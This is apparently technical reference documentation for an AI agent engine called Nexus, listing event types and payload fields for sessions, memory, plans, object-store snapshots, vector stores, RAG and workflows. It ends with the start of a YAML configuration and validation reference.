subagent.iterationSubagentIterationSubagent completed an iteration
subagent.completeSubagentCompleteSubagent finished

Payloads

SubagentSpawn

FieldTypeDescription
SpawnIDstringUnique spawn identifier
TaskstringTask description
SystemPromptstringOverride system prompt
Tools[]stringAvailable tools
ModelRolestringModel role
ParentTurnIDstringParent’s turn ID

SubagentComplete

FieldTypeDescription
SpawnIDstringSpawn identifier
ResultstringFinal result
ErrorstringError (if failed)
IterationsintNumber of iterations used
TokensUsedUsageToken consumption
CostUSDfloat64Accumulated cost in USD
ParentTurnIDstringParent’s turn ID

Memory Events

Event TypePayloadDescription
memory.storeMemoryEntryStore a memory entry
memory.queryMemoryQueryQuery conversation history
memory.resultMemoryResultQuery results
memory.compaction.triggeredCompactionTriggeredCompaction started
memory.compactedCompactionCompleteCompaction finished

Payloads

MemoryEntry

FieldTypeDescription
KeystringEntry identifier
ContentstringContent to store
Metadatamap[string]anyAdditional context
SessionIDstringCurrent session

MemoryQuery

FieldTypeDescription
QuerystringSearch query (empty = all)
LimitintMax results
SessionIDstringCurrent session

CompactionTriggered

FieldTypeDescription
ReasonstringWhy compaction triggered
MessageCountintMessages before compaction
BackupPathstringBackup file location

CompactionComplete

FieldTypeDescription
Messages[]MessageNew compacted message set
BackupPathstringBackup file location
MessageCountintMessages after compaction
PrevCountintMessages before compaction

Long-Term Memory Events

Event TypePayloadDescription
memory.longterm.loadedLongTermMemoryLoadedMemory index injected into system prompt
memory.longterm.storeLongTermMemoryStoreRequestWrite or update a memory entry
memory.longterm.storedLongTermMemoryStoredWrite confirmed
memory.longterm.readLongTermMemoryReadRequestRead a memory entry
memory.longterm.resultLongTermMemoryReadResultRead result
memory.longterm.deleteLongTermMemoryDeleteRequestDelete a memory entry
memory.longterm.deletedLongTermMemoryDeletedDelete confirmed
memory.longterm.listLongTermMemoryQueryList/filter memories
memory.longterm.list.resultLongTermMemoryListResultList result

LongTermMemoryIndex

FieldTypeDescription
KeystringMemory key
PreviewstringFirst line of content
Tagsmap[string]stringKey-value tags
Updatedtime.TimeLast update timestamp

LongTermMemoryStoreRequest

FieldTypeDescription
KeystringMemory key
ContentstringMarkdown content
Tagsmap[string]stringOptional tags

Plan Events

Event TypePayloadDescription
plan.requestPlanRequestRequest plan generation
plan.resultPlanResultPlan generated
plan.createdPlanResultPlan ready for display
plan.approval.request(plan data)User approval needed
plan.approval.response(approval)User responded
plan.progressPlanProgressStep status updated

Payloads

PlanRequest

FieldTypeDescription
TurnIDstringAssociated turn
SessionIDstringCurrent session
InputstringUser’s original input

PlanResult

FieldTypeDescription
TurnIDstringAssociated turn
PlanIDstringUnique plan identifier
Steps[]PlanResultStepPlan steps
SummarystringPlan summary
ApprovedboolWhether approved
Sourcestring"dynamic" or "static"

PlanResultStep

FieldTypeDescription
IDstringStep identifier
DescriptionstringWhat this step does
InstructionsstringDetailed instructions (optional)
StatusstringCurrent status
OrderintExecution order

PlanProgress

FieldTypeDescription
TurnIDstringAssociated turn
PlanIDstringPlan identifier
StepIDstringStep being updated
StatusstringNew status
DetailstringAdditional info

Skill Events

Event TypePayloadDescription
skill.discoverSkillCatalogSkills catalog assembled
skill.activateSkillActivationSkill activation requested
before:skill.activateSkillActivationBefore activation (vetoable)
skill.loadedSkillContentSkill content loaded
skill.deactivateSkillRefSkill deactivation requested
skill.resource.readSkillResourceReqResource file requested
skill.resource.resultSkillResourceDataResource content returned

Payloads

SkillCatalog

FieldTypeDescription
Skills[]SkillSummaryAll discovered skills

SkillSummary

FieldTypeDescription
NamestringSkill name
DescriptionstringWhat the skill does
LocationstringDirectory path
Scopestring"project", "user", "builtin", "config"

SkillContent

FieldTypeDescription
NamestringSkill name
BodystringMarkdown content
Resources[]stringAvailable resource files
ScopestringSkill scope
BaseDirstringSkill directory

Schema Events

Event TypePayloadDescription
schema.registerSchemaRegistrationRegister an output schema with the registry
schema.deregisterSchemaDeregistrationRemove a schema from the registry

Payloads

SchemaRegistration

FieldTypeDescription
NamestringSchema name (e.g. "skill.code_review.output")
Schemamap[string]anyJSON Schema definition
SourcestringPlugin ID that registered it

SchemaDeregistration

FieldTypeDescription
NamestringSchema name to remove
SourcestringPlugin ID that registered it

Session Events

Event TypePayloadDescription
session.file.createdmap (see below)A file appeared in the session tree
session.file.updatedmap (see below)An existing file in the session tree changed
session.snapshot.requestSessionSnapshotRequestAsk the engine to snapshot the session tree to the object store
session.snapshot.resultSessionSnapshotResultOutcome of one whole-tree snapshot
session.owner.conflictSessionOwnerConflictA second host appears to hold this session — detection only, nothing is refused
session.storage.degradedSessionStorageDegradedThe object store stopped accepting this session’s state; the engine is running against the local working copy and retrying
session.storage.recoveredSessionStorageRecoveredThe backlog drained and the session is durably stored again
before:session.tag.setSessionTagSetRequest (vetoable)Request to write one key/value pair into SessionMeta.Labels
before:session.tag.deleteSessionTagDeleteRequest (vetoable)Request to remove one key from SessionMeta.Labels
session.tag.setSessionTagSetA session label was written, by either the general (bus) path or the reserved (direct-Go-call) path
session.tag.deletedSessionTagDeletedA session label was removed, by either path

The five object-store rows exist only when core.object_store.backend names a backend. With none configured — the default — nothing subscribes, a session.snapshot.request is inert, and none of the other four is ever emitted. See Object Storage. The four session tag events are independent of the object store and always active — see Session Tag Events below.

session.file.created / session.file.updated payload

Emitted as a map[string]any, not as the events.SessionFile struct, because every subscriber type-asserts a map. The struct is nonetheless the definition of the shape: the payload is built by events.SessionFile.Map, so renaming or retyping a field trips make check-events, and adding one without a wire key fails its own test. Before that the struct was declared and unused, and this payload was guarded by nothing at all.

KeyTypeDescription
_schema_versionintevents.SessionFileVersion — 2. A payload journaled before the struct became the definition has no such key, which the v0 == v1 rule in pkg/events/compat covers; the other five keys are unchanged, so no migrator is registered
session_idstringSession the file belongs to
pathstringPath relative to the session root, always slash-separated
sizeintSize of the file in bytes after the write — not the size of the change
offsetintByte offset at which the change begins
bytes_addedintNumber of bytes written at offset

The three counts are Go int, not int64. That is the type that has always been on the wire and subscribers assert it directly, so widening the struct field would turn every one of those assertions into a silent zero.

There is deliberately no action key. The action is the event type, and a copy of it in the payload is a second source of truth that can disagree with the first — which is what nexus.tool.pdf did, reporting every update as a creation.

Which event fires is decided by whether the path existed before the write, so a subscriber can rely on seeing exactly one created per path per session.

Who emits it. SessionWorkspace.WriteFile, AppendFile and SaveMeta, plus the two announcement helpers AnnounceWrite / AnnounceAppend that writers holding their own os.* call use — today nexus.scene (its state file and patch journal), nexus.workflows.icm (stage artifacts and copied inputs), nexus.tool.fileio (write_file) and the desktop matcher plugin. Every one of them publishes the session-relative path, so it can be used directly as an object key. nexus.tool.pdf used to emit a second, hand-built event beside the one WriteFile already produced, carrying the bare basename and no delta; it was removed rather than reconciled, and the plugin no longer emits session.file.* at all.

Writers that deliberately stay silent — the journal, the tool cache, the blob store, per-plugin SQLite and the session lock among them — each have a recorded reason. See Sessions.

The append-aware delta. offset and bytes_added together say that the region [offset, offset+bytes_added) is the only part of the object that changed:

ShapeMeaning
offset == 0 && bytes_added == sizeThe whole object is new. Every WriteFile, and the first append that creates a file.
offset > 0 && offset + bytes_added == sizeA pure append. Every byte before offset is byte-identical to what the last event for this path described.

They were added to this payload rather than introduced as a separate session.file.appended event: a new type would have carried the same three numbers, cost every existing subscriber a change just to keep seeing appends, and — because context/conversation.jsonl is written by both WriteFile and AppendFile — forced each of them to merge two streams to reconstruct one file’s history. New map keys are also invisible to subscribers that do not read them.

Object stores have no append primitive. These keys do not let a sync backend write appended bytes into an existing object; S3, GCS and every S3-compatible store replace whole objects. What they buy is the freedom to coalesce and defer — collapse a run of tail appends into one upload of the current file at the next boundary, knowing no rewrite was missed in between. offset is not a seek position in the bucket.

If the offset cannot be determined, offset is reported as 0, which reads as a whole -object change: a backend then re-uploads a file it could have coalesced, rather than coalescing a change it should have treated as a rewrite.

Who emits them

EmitterCovers
SessionWorkspace.WriteFileWhole-file writes: config snapshot, plugin manifest, memory rewrites, tool output
SessionWorkspace.AppendFileAppends: context/conversation.jsonl, metadata/timing.jsonl, compaction output, shell history, the HITL cache
SessionWorkspace.SaveMetametadata/session.json — rewritten on every llm.response and every agent.turn.end
SessionWorkspace.AnnounceWrite / AnnounceAppendWriters holding their own os.* call: nexus.scene, nexus.workflows.icm, nexus.tool.fileio, and the desktop matcher plugin

Every emitter goes through one of those five entry points, so every payload on the wire is built in one place. Two hand-built emitters that were not — nexus.tool.pdf and cmd/desktop/internal/matcher — published malformed events (a bare basename as path, an absolute host path, missing session_id, no delta keys); the first was removed and the second was routed through AnnounceWrite. Because the payload is an untyped map, a subscriber should still treat offset and bytes_added as optional and fall back to “the whole object changed” when they are absent — which is the same conservative reading offset == 0 already asks for.

AppendFile deliberately reuses the same two event types rather than introducing an append-specific one, so every existing subscriber sees appends without being changed. The events say this path changed, and here is which part of it changed; they never carry the changed bytes themselves.

Two moments are deliberately silent. Creating or loading a session workspace writes metadata/session.json without emitting, because that happens before the journal writer subscribes to the bus and an event there would consume a dispatch sequence number the journal never receives — which stalls its writer permanently. Engine.StartSession re-saves the metadata once the journal is running, so the file is still announced.

SessionSnapshotRequest

FieldTypeDescription
ReasonstringFree-form; appears in the log line and in the result

SessionSnapshotResult

FieldTypeDescription
SessionIDstringSession that was snapshotted
Triggerstring"turn", "shutdown", "request" or "retry"
Sequenceuint64Per-run snapshot counter, starting at 1
Generationuint64The session’s commit generation. Unlike Sequence it is seeded from the manifest the previous holder committed, so it keeps increasing across a resume onto a different host. It is the stamp the commit marker and the per-object manifest in the bucket both carry. Zero when a snapshot failed before claiming one
TurnIDstringTurn whose boundary triggered it; empty otherwise
ObjectsintSize of the committed object set — everything the snapshot asserts is durably present, excluding the commit marker and the manifest. Includes objects immutable-skip did not re-upload, and it is exactly the set the per-object manifest names
Bytesint64Total size of those objects — how big the stored session is
ObjectsUploadedintThe share of that set this snapshot actually transferred
BytesUploadedint64Their total size. This, not Bytes, is the per-turn cost
ObjectsSkippedintFiles whose identity proves they cannot have changed (sealed journal segments, content-addressed blobs) and that a listing confirmed the store already holds
BytesSkippedint64Their total size — what immutable-skip saved
DurationMsfloat64Wall time of the whole snapshot
OKboolWhether the snapshot was made durable
ErrorMessagestringEmpty on success

Both events exist only when core.object_store.backend names a backend; with none configured nothing subscribes and a request is inert.

SessionOwnerConflict

FieldTypeDescription
SessionIDstringSession both hosts appear to be writing
HolderHoststringHostname recorded in the owner marker found in the store
HolderPIDintThe holder’s OS process ID. Only meaningful together with HolderHost
HolderInstanceIDstringUnique per engine run — what tells two containers sharing a hostname and a PID apart
HolderHeartbeatAttime.TimeThe holder’s last heartbeat, by the holder’s own clock
HeartbeatAgeSecondsfloat64How old that heartbeat looked from here — the number the staleness decision was made on
LocalHoststringThis process’s hostname
LocalPIDintThis process’s PID
LocalInstanceIDstringThis run’s instance ID

Emitted at most once per run, during Boot, and only when core.object_store.backend names a backend. Detection, not prevention: by the time it is emitted the engine has already claimed the session and is running normally. No lock is taken, no fencing token is issued, nothing is refused and nothing waits. A subscriber that wants to act — page an operator, stop the run — has to do so itself. See Sessions → Two hosts, one session.

SessionStorageDegraded

FieldTypeDescription
SessionIDstringSession whose state could not be stored
BackendstringRegistered backend name from core.object_store.backend
FailurePolicystringResolved core.object_store.failure_policy: degrade or strict
Sincetime.TimeWhen the outage began — the first failure, not this event
ConsecutiveFailuresuint64Persistence failures so far in this outage
QueuedPushesintDepth of the bounded retry queue (capacity 256)
DroppedPushesuint64Pushes discarded on queue overflow — escalated to a whole-tree snapshot, not lost
SnapshotPendingboolA whole-tree snapshot is owed: the backstop that covers anything the queue could not
TurnsBlockedboolFurther io.input is being refused. Only ever true under failure_policy: strict
ErrorstringThe most recent failure’s message

SessionStorageRecovered

FieldTypeDescription
SessionIDstringSession that is durably stored again
BackendstringRegistered backend name
FailurePolicystringResolved failure policy
DegradedForSecondsfloat64Wall time from the first failure to recovery
Failuresuint64Persistence failures the outage saw in total
RetryAttemptsuint64Backoff attempts the recovery worker made. Zero when an ordinary turn-boundary snapshot healed it first
DrainedPushesuint64Deferred pushes the retries got through
DroppedPushesuint64Pushes discarded on overflow and covered by a snapshot instead

The two pair: exactly one session.storage.degraded per outage and one session.storage.recovered when it ends, so a subscriber counts outages rather than failed requests. Neither is emitted when core.object_store.backend is empty.

Under degrade the session keeps taking turns while degraded. The honest caveat is that the durability guarantee is not being met for as long as the outage lasts, even though nothing is failing.

Under strict TurnsBlocked is true and every subsequent io.input is vetoed until the state is stored. The turn that hit the outage already ran — its output was streamed, its tools executed — and the engine cannot un-run it. What strict guarantees is that no further turn runs against unstored state. Recovery is automatic under both policies; see Configuration → Failure policy.

The engine snapshots at every agent.turn.end on its own, so nothing needs to emit session.snapshot.request in a normal run — it is the escape hatch for embedders driving the engine outside an agent loop, and for custom agents that emit no turn events. Snapshotting is handled in core and never depends on plugin cooperation. See Sessions → Turn-boundary snapshots.

Session Tag Events

SessionMeta.Labels — the session’s key/value tag store — is split into two disjoint namespaces: reserved keys (starting with _) and general keys (everything else). Only general keys are reachable through the two before:* events below; a reserved key is rejected unconditionally, regardless of caller. See Session Tags for the full mechanism.

SessionTagSetRequest — payload of before:session.tag.set

FieldTypeDescription
KeystringThe label key to write
ValuestringThe label value

SessionTagDeleteRequest — payload of before:session.tag.delete

FieldTypeDescription
KeystringThe label key to remove

Both ride the bus as the struct itself (via VetoablePayload.Original), not as a hand-spelled map — the same shape before:llm.request uses. The single handler for both lives in the core engine: it vetoes unconditionally when Key matches the reserved namespace (engine.IsReservedLabelKey), with a VetoResult.Reason naming the rejection, and otherwise applies the write immediately and fires the matching announce event below. There is no second “apply” step after the veto check passes — the request event doubles as the trigger, because the core engine is the only thing that knows how to mutate SessionMeta.Labels safely.

SessionTagSet — payload of session.tag.set

FieldTypeDescription
SessionIDstringSession the label belongs to
KeystringThe label key that was written
ValuestringThe label value that was written

SessionTagDeleted — payload of session.tag.deleted

FieldTypeDescription
SessionIDstringSession the label belonged to
KeystringThe label key that was removed

Both announce events fire from every successful write, whichever path produced it: the vetoable general path above, or the reserved-namespace direct-Go-call path (SessionWorkspace.SetReservedLabel / DeleteReservedLabel, e.g. nexus.io.agui’s _principal_id identity binding), which never touches the bus at all. A subscriber that only cares “this session’s tags changed” needs only these two event types regardless of which path wrote the label. SessionTagDeleted is also the end-of-run signal for nexus.io.agui’s identity binding: a transport that set _principal_id on run start deletes it on run end.

Unlike the object-store events above, all four session tag events are always active — they do not depend on core.object_store.backend.


Cancellation Events

Event TypePayloadDescription
cancel.requestCancelRequestUser requested cancellation
cancel.activeCancelActiveCancellation broadcast
cancel.completeCancelCompleteCancellation processed
cancel.resumeCancelResumeResume after cancellation

CancelRequest

FieldTypeDescription
TurnIDstringTurn to cancel
SourcestringWho requested: "tui", "browser", etc.

Embeddings Events

Event TypePayloadDescription
embeddings.request*EmbeddingsRequestEmbed a batch of texts. Pointer-fill — provider mutates in place.

Payloads

EmbeddingsRequest

FieldTypeDescription
Texts[]stringBatch of strings to embed (input). Used when Inputs is empty — back-compat with text-only adapters.
Inputs[]EmbeddingsInputPolymorphic batch (text + image inputs) for multimodal-aware providers. When non-empty, providers consume Inputs and ignore Texts.
ModelstringRequested model; provider may echo back actual model used.
DimensionsintOptional truncation hint. Zero = provider default.
Vectors[][]float32Result vectors, in input order (output).
ProviderstringPlugin ID of the adapter that answered (output).
UsageEmbeddingsUsageToken usage when reported by the provider (output).
ErrorstringNon-empty on failure (output).

EmbeddingsInput

FieldTypeDescription
TextstringText snippet. Mutually exclusive with Image and ImageURI.
Image[]byteInline image bytes. Mutually exclusive with Text and ImageURI. Requires MimeType.
ImageURIstringImage reference: nexus-blob:<sha> (engine blob store) or external URL. Mutually exclusive with Text and Image.
MimeTypestringIANA media type (e.g. image/png). Required when Image is set; recommended for ImageURI.

Adapters that don’t support image inputs must return a clear error when they encounter an image-bearing input rather than silently downgrading. See nexus.embeddings.cohere_multimodal for a multimodal-aware reference adapter.

EmbeddingsUsage

FieldTypeDescription
PromptTokensintTokens consumed by the input.
TotalTokensintTotal billable tokens.

Vector Store Events

Event TypePayloadDescription
vector.upsert*VectorUpsertInsert or replace docs in a namespace.
vector.query*VectorQueryNearest-neighbor lookup in a namespace.
vector.delete*VectorDeleteRemove docs by ID.
vector.namespace.drop*VectorNamespaceDropRemove an entire namespace (idempotent).

All four are pointer-fill — adapter sets Provider / Error (and Matches on query) in place.

Payloads

VectorDoc

FieldTypeDescription
IDstringStable identifier; upsert replaces by ID.
Vector[]float32Embedding. Adapters may require unit-normalized.
ContentstringOriginal text (optional but typically stored for re-ranking / display).
Metadatamap[string]stringString-keyed metadata.

VectorMatch

FieldTypeDescription
IDstringDoc ID.
ContentstringDoc content.
Metadatamap[string]stringDoc metadata.
Similarityfloat32Cosine similarity in [-1, 1].

VectorUpsert

FieldTypeDescription
NamespacestringTarget namespace (input).
Docs[]VectorDocDocs to upsert (input).
ProviderstringAdapter plugin ID (output).
ErrorstringNon-empty on failure (output).

VectorQuery

FieldTypeDescription
NamespacestringTarget namespace (input).
Vector[]float32Query vector (input).
KintMax results (input).
Filtermap[string]stringExact-match metadata filter (input, optional).
Matches[]VectorMatchHits sorted by similarity desc (output).
ProviderstringAdapter plugin ID (output).
ErrorstringNon-empty on failure (output).

VectorDelete

FieldTypeDescription
NamespacestringTarget namespace (input).
IDs[]stringDoc IDs to remove. Unknown IDs are ignored (input).
ProviderstringAdapter plugin ID (output).
ErrorstringNon-empty on failure (output).

VectorNamespaceDrop

FieldTypeDescription
NamespacestringNamespace to drop (input).
ProviderstringAdapter plugin ID (output).
ErrorstringNon-empty on failure (output).

RAG Events

Event TypePayloadDescription
rag.ingest*RAGIngestIngest one file. Pointer-fill.
rag.ingest.delete*RAGIngestDeleteDrop a file’s chunks. Pointer-fill.
rag.ingest.result*RAGIngestNotification emitted after rag.ingest completes (read-only).
memory.vector.store*VectorMemoryStoreExplicit store into vector memory. Pointer-fill.

Payloads

RAGIngest

FieldTypeDescription
PathstringFile path (input).
NamespacestringTarget namespace (input).
Metadatamap[string]stringOptional metadata merged into every chunk (input).
ProviderstringIngest plugin ID (output).
ChunksintNumber of chunks upserted (output).
SkippedCachedintHow many of those came from the embedding cache (output).
ErrorstringNon-empty on failure (output).

RAGIngestDelete

FieldTypeDescription
PathstringFile path (input).
NamespacestringTarget namespace (input).
ProviderstringIngest plugin ID (output).
DeletedintReserved; currently always zero (output).
ErrorstringNon-empty on failure (output).

VectorMemoryStore

FieldTypeDescription
ContentstringContent to store (input).
SourcestringShort label recorded as metadata (e.g. user, agent, compaction) (input).
Metadatamap[string]stringExtra metadata merged into the stored doc (input).
ProviderstringPlugin ID of the memory.vector plugin (output).
ErrorstringNon-empty on failure (output).

Delegate Events

Emitted by nexus.agent.delegate when a parent agent invokes a posture via the delegate tool. Payloads are map[string]any records — see pkg/delegate.Runtime for the canonical fields.

Event TypePayloadDescription
delegate.startmapSub-session is starting. Keys: sub_session_id, posture, posture_ver, task, parent_turn, depth.
delegate.completemapSub-session finished. Keys: sub_session_id, posture, posture_ver, status (success/partial/error/timeout/cancelled/cache_hit), error, tokens_used, tool_calls_used, elapsed_ms, result, depth.

Posture Events

Emitted by nexus.agent.postures as posture YAML loads or changes.

Event TypePayloadDescription
posture.registeredmapA posture was installed or updated. Keys: name, version, source (file path or scan dir).
posture.removedmapA posture was removed (file deleted / load error). Keys: name.

Scene Events

Emitted by nexus.scene on every mutation. agent_id on the payload comes from Event.Causation.AgentID — sub-agent contributions remain attributable in the journal.

Event TypePayloadDescription
scene.createdmapNew Scene created. Keys: session_id, scene_id, schema, version, agent_id, content (initial content).
scene.patchedmapScene content updated. Keys: session_id, scene_id, version, agent_id, content (full post-merge content).
scene.deletedmapScene removed. Keys: session_id, scene_id, agent_id.

Tool Stream Events

Emitted by pkg/streamtool.Bridge while a ChannelTool runs. Consumers that only need the final value still subscribe to tool.result; UIs and observability collectors that want incremental progress subscribe here.

Event TypePayloadDescription
tool.stream.progressmapStatus-only update from a streaming tool. Keys: tool_name, tool_id, turn_id, sequence, progress (0.0–1.0 or -1), payload.
tool.stream.partialmapIncremental data the consumer can render now. Keys: tool_name, tool_id, turn_id, sequence, payload.

Thinking Events

Event TypePayloadDescription
thinking.stepThinkingStepAgent reasoning step

ThinkingStep

FieldTypeDescription
TurnIDstringAssociated turn
SourcestringPlugin that generated this
ContentstringThinking content
Phasestring"planning", "executing", "reasoning"
Timestamptime.TimeWhen this occurred

ICM Workflow Events

Emitted by nexus.workflows.icm on top of the generic plan.created / plan.progress surface. Every payload carries a _schema_version field (constants in plugins/workflows/icm/icmtypes/types.go).

Event TypePayloadDescription
icm.run.startedICMRunStartedWorkspace loaded; run created; before stage 1 dispatches.
icm.run.completedICMRunCompletedAll stages finished without halt.
icm.run.haltedICMRunHaltedStage error policy halted, gate rejected, or run context cancelled.
icm.stage.startedICMStageStartedStage execution begins, before any human_gate: start.
icm.stage.completedICMStageCompletedArtifact written; any end gate resolved.
icm.stage.failedICMStageFailedStage halted (dispatch error, rejected gate, or loop.on_exhausted: error).
icm.stage.iterationICMStageIterationOne per loop iteration, immediately before the iteration’s invocation.
icm.turnICMTurnAfter each turn within an invocation (richer-UI feed; basic UIs already see plan.progress).
icm.fanout.itemICMFanoutItemItem lifecycle boundary in a fan-out stage (activecompleted | failed).
icm.predicate.failedICMPredicateFailedAny predicate evaluation returns verdict=false. Pass paths are not emitted.

ICMRunStarted

FieldTypeDescription
RunIDstringRun identifier (r_<id>); also the on-disk dir under the plugin’s session data dir.
InstanceIDstringPlugin instance ID (nexus.workflows.icm or nexus.workflows.icm/<suffix>).
WorkspaceRootstringAbsolute path to the loaded workspace.
WorkspaceNamestringLast folder name of the workspace path.
StagesintStage count.

ICMRunCompleted

FieldTypeDescription
RunIDstringRun identifier.
StagesRunintNumber of stages that completed.
AggregatePathstringOptional run aggregate path (set when a top-level aggregate is produced).
ElapsedSecondsint64Wall-clock seconds from icm.run.started.

ICMRunHalted

FieldTypeDescription
RunIDstringRun identifier.
ReasonstringFree-text halt reason.
HaltedAtStagestringStage ID where the halt fired (empty for pre-stage halts).
Cancelledbooltrue when the halt was a context cancellation rather than a gate reject.
ElapsedSecondsint64Wall-clock seconds from icm.run.started.

ICMStageStarted

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name (e.g. 02_brief).
PostureNamestringDerived posture name registered for this stage (icm.<runID>.<stage_id>).
Orderint1-based stage order in the workspace.

ICMStageCompleted

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ArtifactPathstringPath to the final artifact.
IterationsRunintLoop iterations executed (0 for non-looping stages).
ConvergenceFailedbooltrue when the loop exhausted without satisfying until.

ICMStageFailed

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ReasonstringFree-text failure reason.

ICMStageIteration

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ItemIDstringFan-out item ID (empty for non-fan-out stages).
Iterationint1-based iteration index.
MaxIterationsintloop.max_iterations.
ExitFailures[]ConditionResultPrevious iteration’s failing until predicates (empty on iteration 1).

ICMTurn

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ItemIDstringFan-out item ID (empty for non-fan-out stages).
IterationintLoop iteration index (0 for non-looping stages).
Turnint1-based turn index.
MaxTurnsintturns.max.
LastFailures[]ConditionResultPrevious turn’s failing validators (drives until_valid retry).

ICMFanoutItem

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ItemIDstringPer-item ID (from fan_out.item_id gojq or fallback index).
Indexint1-based item index.
TotalintTotal items in the fan-out.
Statusstring"active" | "completed" | "failed".
ErrorstringFailure reason when Status="failed".

ICMPredicateFailed

FieldTypeDescription
RunIDstringRun identifier.
StageIDstringStage folder name.
ItemIDstringFan-out item ID (empty for non-fan-out stages).
Containerstring"output.validators" | "loop.until" | "verifier".
PredicateNamestringPredicate name: (or <type>_<index> fallback).
PredicateTypestring"schema" | "regex" | "native" | "command" | "llm" | "human".
FeedbackstringPredicate-supplied failure feedback.

ConditionResult (shared by ICMStageIteration.ExitFailures and ICMTurn.LastFailures)

FieldTypeDescription
TypestringPredicate type.
NamestringPredicate name.
Verdictstring"pass" | "fail".
FeedbackstringPredicate-supplied feedback.
Score*float64Optional numeric score (LLM judges typically populate this).

Configuration Reference

Authoritative reference for every YAML configuration key recognized by the Nexus engine and its plugins. Tables are derived from each plugin’s Init() (and any parser helpers it calls) — not from prose docs. If you change a config key in source, update this page in the same commit.

Maintenance rule. Any addition, removal, rename, default change, or type change to a configuration key — at the engine level or in any plugin — must be reflected in this file. Per-plugin pages may add narrative, but this page is the single source of truth.

Conventions

  • Type column uses YAML-native names (string, int, bool, float, duration, list, map). duration is parsed by Go’s time.ParseDuration (e.g. 30s, 1m, 5m).
  • Default column shows the value used when the key is absent. *(none)* means no value is set; *(required)* means the plugin will fail to start without it; *(env)* means the value is read from an environment variable.
  • Path expansion. Every filesystem path supplied via configuration — engine sessions.root, plugin path, dir, file, cache_dir, scan_paths, system_prompt_file, schema_file, patterns_file, word_files, base_dir, working_dir, path_dirs, ingest watch[].path, etc. — is funneled through engine.ExpandPath. Bare ~ resolves to the user’s home directory; ~/foo resolves to <home>/foo. Relative paths are resolved against the engine’s working directory and not modified.

Validation

Configuration is validated strictly at boot, after YAML loading and before any plugin’s Init() runs. The engine compiles the top-level schema plus every active plugin’s schema (when the plugin advertises one) and validates each config block against it. Validation errors abort boot — they are aggregated across every plugin so a single boot attempt surfaces every issue at once, sorted, with the offending key path on each line:

config validation failed:
  - plugins.nexus.gate.token_budget.warning_threshold: unknown key "warning_threshold"
  - plugins.nexus.tool.web.timeoutt: unknown key "timeoutt" (did you mean "timeout"?)
2 errors; aborting boot

Unknown keys fail boot. Plugin schemas declare additionalProperties: false at every object level, so a typo in a key name is a hard error rather than a silently-ignored value. The validator emits a “did you mean” suggestion when a close match exists in the schema’s declared keys (Levenshtein distance ≤ 3 and strictly less than half the candidate’s length). This guarantees that the only keys you can write in YAML are the ones the engine actually reads — silent typos are not possible for plugins that ship a schema.

Deprecated keys log a warning but do not fail boot. Schemas mark these with deprecated: true. Move off the key when convenient; deprecation warnings are the engine’s signal that a future minor release may delete the shim.

Plugins without a schema (legacy or third-party) are skipped with a debug log. They are not blocked from booting.

The engine’s own blocks are guarded separately, and by a different mechanism. core, engine, capabilities, plugins.active and journal have their values checked by the engine schema, but unknown key names there could not be caught that way: LoadConfigFromBytes is a non-strict YAML decode, and the validator rebuilds those blocks from the already-decoded typed config, so a key YAML dropped never reached the schema at all. A misspelled block therefore used to boot clean with the feature it configured silently switched off — which is at its worst with core.object_store, where the run looks entirely healthy and simply never persists anything.

checkUnknownConfigKeys now walks the raw YAML against the config structs’ yaml tags before anything else and rejects an unknown key at any depth, naming the path and listing what was valid there:

config: unknown key "core.object_stor" (valid keys here: agent_id, log_level,
logging, max_concurrent_events, models, object_store, sessions, storage,
tick_interval)

Every unknown key in a file is reported in one message, so a bad config is fixed in one pass rather than one boot per typo.

Three blocks are exempt because their keys are data rather than field names, and each is guarded elsewhere or not at all by design:

BlockWhy it is exempt
plugins:Keys are plugin IDs. The blocks beneath them are guarded by the plugin schemas described above.
core.modelsKeys are role names you choose. Parsed out of the raw map by hand — it carries no struct tag to discover.
capabilities:Keys are capability names.

The check is derived from the structs by reflection rather than from a hand-maintained list, so adding a config field needs no corresponding edit — and there is no second list to drift into rejecting a legitimate new key.

Schema authoring

Plugins expose their schema by implementing the optional engine.ConfigSchemaProvider interface (defined in pkg/engine/config_validation.go). Conventions:

  • The schema lives at plugins/<id>/schema.json and is //go:embed-ed by a small schema.go in the same package; the plugin’s ConfigSchema() method returns the embedded bytes.
  • Schemas declare "$schema": "https://json-schema.org/draft/2020-12/schema" and must set "additionalProperties": false on every object level so unknown keys are caught.
  • Mark deprecated keys with "deprecated": true (a sibling of type, description, etc.). The validator walks the schema once and warns when a deprecated key is present in the user’s config.
  • The schema is canonical for the plugin’s config map — what Init() actually reads. Schema drift from real consumption is a bug; the smoke test in pkg/engine/configs_smoke_test.go validates every shipped YAML against every active plugin’s schema and is the canary for that drift.

Top-level structure

core:           # engine-level settings
engine:         # engine resilience knobs (shutdown drain, ...)
capabilities:   # capability → plugin-ID pinning (optional)
journal:        # durable per-session event log (always on; tunables only)
plugins:
  active: []    # plugin IDs (with optional /instance suffix)
  <plugin.id>:  # per-plugin config map
    key: value
KeyTypeDefaultDescription
coremap(see core section)Engine-level settings (logging, sessions, models).
enginemap(see engine section)Engine resilience knobs (shutdown drain budget).
capabilitiesmap(empty)Pin capability names to specific provider plugin IDs (e.g. search.provider: nexus.search.brave). Overrides default resolution (first active provider).
journalmap(see journal section)Tuning knobs for the always-on event journal. The journal cannot be disabled.
plugins.activelist[]Plugin IDs to activate. Order doesn’t matter — Requires() and Dependencies() are resolved automatically. Multi-instance plugins use a slash suffix: nexus.agent.subagent/researcher.
plugins.<id>map(none)Per-plugin configuration. Keys other than active are treated as plugin IDs.

Core engine

core

KeyTypeDefaultDescription
log_levelstringinfoGlobal log level: debug, info, warn, error.
tick_intervalduration1sInterval for the internal core.tick heartbeat.
max_concurrent_eventsint100Maximum concurrent event handlers across the bus.
logging.bootstrap_stderrboolfalseRegister a stderr sink at engine construction so pre-sink slog records appear on the terminal. Rejected at validation time when any of nexus.io.tui, nexus.io.browser, nexus.io.wails is active.
logging.buffer_sizeintDefaultLogRingSizeCapacity of the log/event ring buffers. Values <= 0 use the default.
sessions.rootstring~/.nexus/sessionsBase directory for session workspaces.
sessions.retentionstring30dRetention policy for old sessions.
sessions.id_formatstringtimestampSession ID format: timestamp, datetime_short.
